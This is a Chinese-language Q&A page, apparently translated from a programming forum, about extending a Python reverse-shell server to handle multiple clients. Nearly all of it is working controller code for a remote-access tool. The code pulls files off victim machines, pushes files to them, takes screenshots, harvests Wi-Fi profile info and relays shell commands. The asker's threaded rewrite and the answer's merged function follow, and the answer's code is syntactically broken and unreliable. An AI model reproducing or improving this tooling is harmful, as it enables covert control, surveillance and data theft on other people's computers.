如何修改Python反向shell以处理多个连接

avwztpqn  于 2023-05-29  发布在  Shell
关注(0)|答案(1)|浏览(92)

我下面的代码创建一个服务器,监听传入的连接,并接受来自客户端的连接。到目前为止,代码工作,但我希望代码接受多个连接,并有一个初始解释器,一旦服务器启动,初始解释器可用于列出连接的客户端,并选择服务器要连接的特定客户端并执行该变量的控制函数。

import socket,struct,sys,os;from datetime import datetime
try: input = raw_input
except NameError: input = input

def help():
   print("""
Commands      Desscription
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:help         Show this help message

""")
def download(filee):
  cmd = filee
  filee = "".join(filee.split(":download")).strip()
  if filee.strip():
   filetodown = filee.split("/")[-1] if "/" in filee else filee.split("\\")[-1] if "\\" in filee else filee
   controler.send(cmd.encode("UTF-8"))
   down = controler.recv().decode("UTF-8",'ignore')
   if down == "true":
     print("[~] Downloading [ {} ]...".format(filetodown))
     wf = open(filetodown, "wb")
     while True:
      data = controler.recv()
      if data == b":DONE:": break
      elif data == b":Aborted:":
        wf.close()
        os.remove(filetodown)
        print("[!] Downloading Has Aborted By Client!")
        return
      wf.write(data)
     wf.close()
     print("[*] Download Complete :)\n[*] file Saved In : {}\n".format(os.getcwd()+os.sep+filetodown))
   else: print(down)
  else: print("Usage: :download <file_to_download_from_client_machine>\n")
def upload(cmd):
    filetoup = "".join(cmd.split(":upload")).strip()
    if not filetoup.strip(): print("usage: :upload <file_to_upload>\n")
    else:
       if not os.path.isfile(filetoup): print("error: open: no such file: "+filetoup+"\n")
       else:
          controler.send(cmd.encode("UTF-8"))
          print("[~] Uploading [ {} ]...".format(filetoup))
          with open(filetoup,"rb") as wf:
            for data in iter(lambda: wf.read(4100), b""):
              try:controler.send(data)
              except(KeyboardInterrupt,EOFError):
                wf.close()
                controler.send(b":Aborted:")
                print("[!] Uploading Has Been Aborted By User!\n")
                return
          controler.send(b":DONE:")
          savedpath = controler.recv().decode("UTF-8")
          print("[*] Upload Complete :)\n[*] File uploaded in : "+str(savedpath).strip()+" in client machine\n")

def check_con():
     print("[~] Checking....")
     controler.send(b":check_internet_connection")
     status = controler.recv().decode("UTF-8").strip()
     if status == "UP": print("[*] client: Connected to internet !\n")
     else: print("[!] client: Not Connected to internet !\n")

def screenshot():
    file_name = str(datetime.now().time())

    file_name = file_name.split(".")[0].replace(":", "-")
    file_name = file_name + '.png'
    with open(file_name, "wb") as f:
        image = controler.recv()
        f.write(image)
        while not ("completeServing" in str(image)):
            image = controler.recv()
            f.write(image)

def browse(cmd):
  url = "".join(cmd.split(":browse")).strip()
  if not url.strip(): print("Usage: :browse <Websute_URL>\n")
  else:
    if not url.startswith(("http://","https://")): url = "http://"+url
    print("[~] Opening [ {} ]...".format(url))
    controler.send(":browse {}".format(url).encode("UTF-8"))
    print("[*] Done \n")

def control():
    try:
      cmd = str(input("[{}]:~# ".format(a[0])))
      while not cmd.strip(): cmd = str(input("[{}]:~# ".format(a[0])))
      if cmd == ":help":
            help()
            control()
      elif ":download" in cmd:
            download(cmd)
            control()
      elif ":upload" in cmd:
           upload(cmd)
           control()
      elif cmd ==":kill":
         print("[!] Connection has been killed!")
         controler.send(b":kill")
         c.shutdown(2)
         c.close()
         s.close()
         exit(1)
      elif ":exec" in cmd:
           cmd = "".join(cmd.split(":exec")).strip()
           if not cmd.strip(): print("Usage: :exec <command>\n")
           else:
               print("[*] exec:")
               os.system(cmd)
               print(" ")
           control()
      elif cmd == ":check":
        check_con()
        control()
    

      
          
          

      elif cmd == ":wifi":
        print("[*] Geting Wifi profiles info...")
        controler.send(b":wifi")
        info = controler.recv()
        try:
          info = info.decode("UTF-8","ignore")
        except  UnicodeEncodeError: info = info
        finally:
           if info==":osnot:": print("[!] Sorry, i can't found wifi info of client machine!\n")
           else:
             print("[*] INFO:\n")
             print(info + "\n")
             control()
      elif ":browse" in cmd:
        browse(cmd)
        control()
      elif cmd.lower() == "cls" or cmd == "clear":
             os.system("cls||clear")
             control()
      controler.send(cmd.encode("UTF-8"))
      DATA = controler.recv()
      if "image" in DATA.decode("utf-8", "ignore"):
          screenshot()
          print('done')
          control()
      print((DATA.decode("utf-8", "ignore")), end = ' ')
      
          
      if DATA.strip(): print(DATA.decode("UTF-8",'ignore'))
      control()
    except (KeyboardInterrupt, EOFError):
           print(" ")
           control()
    except socket.error:
       print("[!] Connection Lost to: "+a[0]+" !")
       c.close()
       s.close()
       exit(1)
    except UnicodeEncodeError:
        print(DATA)
        print(" ")
        control()
    except Exception as e:
       print("[!] An error occurred: "+str(e)+"\n")
       control()
class senrev:
    def __init__(self,sock):
        self.sock = sock
    def send(self, data):
        pkt = struct.pack('>I', len(data)) + data
        self.sock.sendall(pkt)
    def recv(self):
        pktlen = self.recvall(4)
        if not pktlen: return ""
        pktlen = struct.unpack('>I', pktlen)[0]
        return self.recvall(pktlen)
    def recvall(self, n):
        packet = b''
        while len(packet) < n:
            frame = self.sock.recv(n - len(packet))
            if not frame:return None
            packet += frame
        return packet

def server(IP,PORT,senrev=senrev):
  global s
  global c
  global a
  global controler
  s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  s.bind((IP,PORT))
  s.listen(1)
  print("[*] Server started on > {}:{} < | at [{}]".format(IP,PORT,datetime.now().strftime("%H:%M:%S")))
  try:
    c,a = s.accept()
    controler = senrev(c)
    print("\n[*] Connection From {}:{}".format(a[0],a[1]))
    print("[*] type ':help' to show help message\n")
    control()
  except (KeyboardInterrupt,EOFError):
         print(" ")
         exit(1)
if len(sys.argv) !=3:
        print("Usage: python server.py <IP> <PORT>")
        exit(1)
server(sys.argv[1],int(sys.argv[2]))

我尝试使用线程,但我不熟悉它,所以这是我所能做的。但这一个也接受一次一个连接,我无法接受更多。

import threading

def handle_client(c, a):
    global controler

    client = senrev(c)
    clients.append(client)
    print("\n[*] Connection From {}:{}".format(a[0], a[1]))
    print("[*] type ':help' to show help message\n")
    while True:
        print("Connected clients:")
        for i, client in enumerate(clients):
            print("[{}] {}:{}".format(i, a[0], a[1]))
        index = input("Select a client to control: ")
        try:
            index = int(index)
            if index < 0 or index >= len(clients):
                raise ValueError
            controler = clients[index]
            control(controler)
        except ValueError:
            print("[!] Invalid client index\n")

def server(IP, PORT, senrev=senrev):
    global s
    global a
    global c
    global clients
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((IP, PORT))
    s.listen(10)
    print("[*] Server started on > {}:{} < | at [{}]".format(IP, PORT, datetime.now().strftime("%H:%M:%S")))
    clients = []
    try:
        while True:
            c, a = s.accept()
            thread = threading.Thread(target=handle_client, args=(c, a))
            thread.start()
    except (KeyboardInterrupt, EOFError):
        print(" ")
        exit(1)

if len(sys.argv) !=3:
    print("Usage: python server.py <IP> <PORT>")
    exit(1)
    
server(sys.argv[1],int(sys.argv[2]))
sz81bmfz

sz81bmfz1#

def server(IP, PORT, senrev=senrev):
    global s
    global a
    global c
    global clients
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((IP, PORT))
    s.listen(10)
    print("[*] Server started on > {}:{} < | at [{}]".format(IP, PORT, datetime.now().strftime("%H:%M:%S")))
    clients = []
    try:
        while True:
            c, a = s.accept()
            if c:
                thread = threading.Thread(target=handle_client, args=(c, a))
                thread.start()
    except KeyboardInterrupt:
        print(" ")
        exit(1)

在这种情况下,检查“c”是否为空,如果不是空,切换到thread,如果这不是你的问题,问题是你在handle_client()上启动了多个线程(取决于有多少客户端)。thread应该放在control()上,而server()和handle_client()应该合并,并且在s.accept()之后出现client时添加值(如handle_client())

def server_and_handleclient(IP, PORT, senrev=senrev):
    global s
    global a
    global c
    global clients
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((IP, PORT))
    s.listen(10)
    print("[*] Server started on > {}:{} < | at [{}]".format(IP, PORT, datetime.now().strftime("%H:%M:%S")))
    clients = []
    try:
        while True:
            c, a = s.accept()
            if c:
                global controler
                client = senrev(c)
                clients.append(client)
                print("\n[*] Connection From {}:{}".format(a[0], a[1]))
                print("[*] type ':help' to show help message\n")
                print("Connected clients:")
                for i, client in enumerate(clients):
                    print("[{}] {}:{}".format(i, a[0], a[1]))
                index = input("Select a client to control: ")
                while True:
                    try:
                        index = int(index)
                        if index < 0 or index >= len(clients):
                            raise ValueError
                        controler = clients[index]
                    thread = threading.Thread(target=control, args=(controler))
                    thread.start()
                    except ValueError:
                        break
    except KeyboardInterrupt:
        print(" ")
        exit(1)

相关问题